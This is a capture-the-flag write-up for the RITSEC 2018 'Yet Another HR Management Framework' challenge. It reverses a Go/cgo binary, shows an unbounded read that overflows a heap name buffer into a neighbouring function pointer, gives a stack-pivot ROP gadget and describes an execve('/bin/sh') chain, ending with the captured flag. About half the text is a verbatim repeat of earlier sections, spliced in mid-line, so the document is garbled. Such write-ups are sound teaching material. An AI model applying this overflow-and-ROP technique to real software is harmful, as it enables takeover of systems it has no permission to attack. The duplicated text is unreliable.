RITSEC CTF 2018: Yet Another HR Management Framework (Pwn 250)==============================================================
## Description
Although there has been a ton of human resources management frameworks outthere, `fpasswd` still wants to write his own framework. Check it out and SEEhow that GOes!
`nc fun.ritsec.club 1337`
*Author: fpasswd*
## Analysis
```$ file pwn2pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, Go BuildID=b489c015714bb598d34b6f4e04632de90b476a2a1, BuildID[sha1]=8683cf78a615c5820aef885b4612b71806a77b00, not stripped```
The challenge binary is a large (1.4MB) 32-bit x86 executable and it's notstripped. Let's try running it:
```$ ./pwn2Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice:```
Judging by the interface this is probably going to be a heap-based challenge:we can malloc (create a person), free (delete a person), edit some informationand printing information about a person. But before we jump to conclusions,let's have a look at the binary in a disassembler.
![Function list](img1.png)
Some of those function names (for example `cgoCheckPointer0`) suggest that thisis a Go program that calls some C code using [cgo](https://golang.org/cmd/cgo/).Go is memory safe so we can ignore most of the binary and only look forvulnerabilities in the C functions.
The `main._Cfunc_*` functions all seem to be wrappers around the actual Cfunctions, which are located at the end of the function list. For example thisis the implementation of createPerson:
![createPerson](img2.png)
As we can see our guess was correct: each person is a 12 byte struct on the heap,and the first DWORD is set to the address of `printPerson`, another function.
After reversing all the C functions this is the picture we get:
```cstruct person {	void (*print_fn)(struct person *p);	char *name;	unsigned int age;};
struct gets_info {	void *buffer;	size_t size;};
unsigned int numPerson;struct person *p[10];
void printPerson(struct person *my_p){	printf("Name: %s\n", my_p->name);	printf("Age: %u\n", my_p->age);}
void createPerson(void){	if (numPerson > 9) {		puts("No more person for you.");	} else {		p[numPerson] = malloc(12);		p[numPerson]->print_fn = printPerson;	}}
void deletePerson(unsigned int i){	free(p[i]->name);	free(p[i]);}
void printPersonWrapper(unsigned int i){	p[i]->print_fn(p[i]);}
ssize_t myGets(struct gets_info *info){	return read(0, info->buffer, info->size);}```
If we can somehow overwrite the function pointer at the beginning of a person,we can redirect execution. Let's switch to dynamic analysis and try to see whathappens when we create some people.
```gef➤  rWelcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: 1
Creating a new person...Enter name length: 1Enter person's name: aEnter person's age: 1
Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: 1
Creating a new person...Enter name length: 1Enter person's name: aEnter person's age: 1
Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: ^C
gef➤  x/4x 0x081a3ca00x81a3ca0 :  0x081a8370      0x081a8390      0x00000000      0x00000000
gef➤  x/3x 0x81a83700x81a8370:      0x080ebb10      0x081a8380      0x00000001
gef➤  x/3x 0x81a83900x81a8390:      0x080ebb10      0x081a83a0      0x00000001```
Hmm, so it looks like both names and person structs are allocated on the heap(as expected) and they are interleaved like this:
```0x81a8370: ---------------           |   Person 1  |0x81a8380: ---------------           |   Name 1    |0x81a8390: ---------------           |   Person 2  |0x81a83a0: ---------------           |   Name 2    |           ---------------```
But what happens if we try to edit a person? We can guess that `myGets` will beused to read the new name so let's put a breakpoint on `read`.
```gef➤  b readBreakpoint 1 at 0xf7e7fd10 (2 locations)gef➤  cContinuing.2
Editting a person...Enter person's index (0-based): 0Enter new name length: 1337Enter the new name:Thread 1 "pwn2" hit Breakpoint 1, 0xf7f85360 in read () from /usr/lib32/libpthread.so.0
gef➤  x/4x $esp0xffffd67c:     0x080ebc5f      0x00000000      0x081a8380      0x00000539```
It looks like we're writing into the existing name buffer for person 1 with nobounds checking at all (we're reading 1337 bytes but the malloc chunk for name 1is only 16 bytes). This means that we can overflow person 1's name and overwriteperson 2's print function pointer, then print person 2 to get code execution.Let's put that theory to test.
```Enter your choice: 2
Editting a person...Enter person's index (0-based): 0Enter new name length: 1337Enter the new name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADone.
Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: 3
Printing a person...Enter person's index (0-based): 1
Thread 1 "pwn2" received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()```
Great! We control EIP, now we only have to write an exploit to get codeexecution on the server.
## Exploitation
The code that calls the overwritten function pointer is this:
![printPersonWrapper](img3.png)
It first pushes the address of the corrupted person struct on the stack, thencalls the function pointer. After the call the stack will look like this:
```         ---------------esp:     |   Ret addr  |         ---------------esp + 4: |    &p[1]    |         ---------------         |     ...     |```
If we can find a ROP gadget that first removes the return address from the stackand then pops the stack pointer, we can use the memory of person 2 (which wecontrol) as our stack for a ROP chain. Since the target binary is not position-independent we don't even need an infoleak to gain code execution. This one willdo:
`0x80c0620 : pop ebp ; add al, 0x89 ; pop esp ; and al, 0x30 ; add esp, 0x24 ; ret`
Now that we have control of the stack, all we need to do is to write a ROP chainthat places `/bin/sh\0` somewhere in writable memory and invokes `execve` to getus a shell. I used a random spot in `.bss` to store `/bin/sh` because it'swritable and sits at a known address.
```$ python2 exploit.py[+] Opening connection to fun.ritsec.club on port 1337: Done[*] Switching to interactive mode$ lsflag.txtpwn2$ cat flag.txtRITSEC{g0_1s_N0T_4lw4y5_7he_w4y_2_g0}$[*] Closed connection to fun.ritsec.club port 1337```
:  0x081a8370      0x081a8390      0x00000000      0x00000000
gef➤  x/3x 0x81a83700x81a8370:      0x080ebb10      0x081a8380      0x00000001
gef➤  x/3x 0x81a83900x81a8390:      0x080ebb10      0x081a83a0      0x00000001```
Hmm, so it looks like both names and person structs are allocated on the heap(as expected) and they are interleaved like this:
```0x81a8370: ---------------           |   Person 1  |0x81a8380: ---------------           |   Name 1    |0x81a8390: ---------------           |   Person 2  |0x81a83a0: ---------------           |   Name 2    |           ---------------```
But what happens if we try to edit a person? We can guess that `myGets` will beused to read the new name so let's put a breakpoint on `read`.
```gef➤  b readBreakpoint 1 at 0xf7e7fd10 (2 locations)gef➤  cContinuing.2
Editting a person...Enter person's index (0-based): 0Enter new name length: 1337Enter the new name:Thread 1 "pwn2" hit Breakpoint 1, 0xf7f85360 in read () from /usr/lib32/libpthread.so.0
gef➤  x/4x $esp0xffffd67c:     0x080ebc5f      0x00000000      0x081a8380      0x00000539```
It looks like we're writing into the existing name buffer for person 1 with nobounds checking at all (we're reading 1337 bytes but the malloc chunk for name 1is only 16 bytes). This means that we can overflow person 1's name and overwriteperson 2's print function pointer, then print person 2 to get code execution.Let's put that theory to test.
```Enter your choice: 2
Editting a person...Enter person's index (0-based): 0Enter new name length: 1337Enter the new name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADone.
Welcome to yet another human resources management framework!============================================================1. Create a new person2. Edit a person3. Print information about a person4. Delete a person5. This framework sucks, get me out of here!Enter your choice: 3
Printing a person...Enter person's index (0-based): 1
Thread 1 "pwn2" received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()```
Great! We control EIP, now we only have to write an exploit to get codeexecution on the server.
## Exploitation
The code that calls the overwritten function pointer is this:
![printPersonWrapper](img3.png)
It first pushes the address of the corrupted person struct on the stack, thencalls the function pointer. After the call the stack will look like this:
```         ---------------esp:     |   Ret addr  |         ---------------esp + 4: |    &p[1]    |         ---------------         |     ...     |```
If we can find a ROP gadget that first removes the return address from the stackand then pops the stack pointer, we can use the memory of person 2 (which wecontrol) as our stack for a ROP chain. Since the target binary is not position-independent we don't even need an infoleak to gain code execution. This one willdo:
`0x80c0620 : pop ebp ; add al, 0x89 ; pop esp ; and al, 0x30 ; add esp, 0x24 ; ret`
Now that we have control of the stack, all we need to do is to write a ROP chainthat places `/bin/sh\0` somewhere in writable memory and invokes `execve` to getus a shell. I used a random spot in `.bss` to store `/bin/sh` because it'swritable and sits at a known address.
```$ python2 exploit.py[+] Opening connection to fun.ritsec.club on port 1337: Done[*] Switching to interactive mode$ lsflag.txtpwn2$ cat flag.txtRITSEC{g0_1s_N0T_4lw4y5_7he_w4y_2_g0}$[*] Closed connection to fun.ritsec.club port 1337```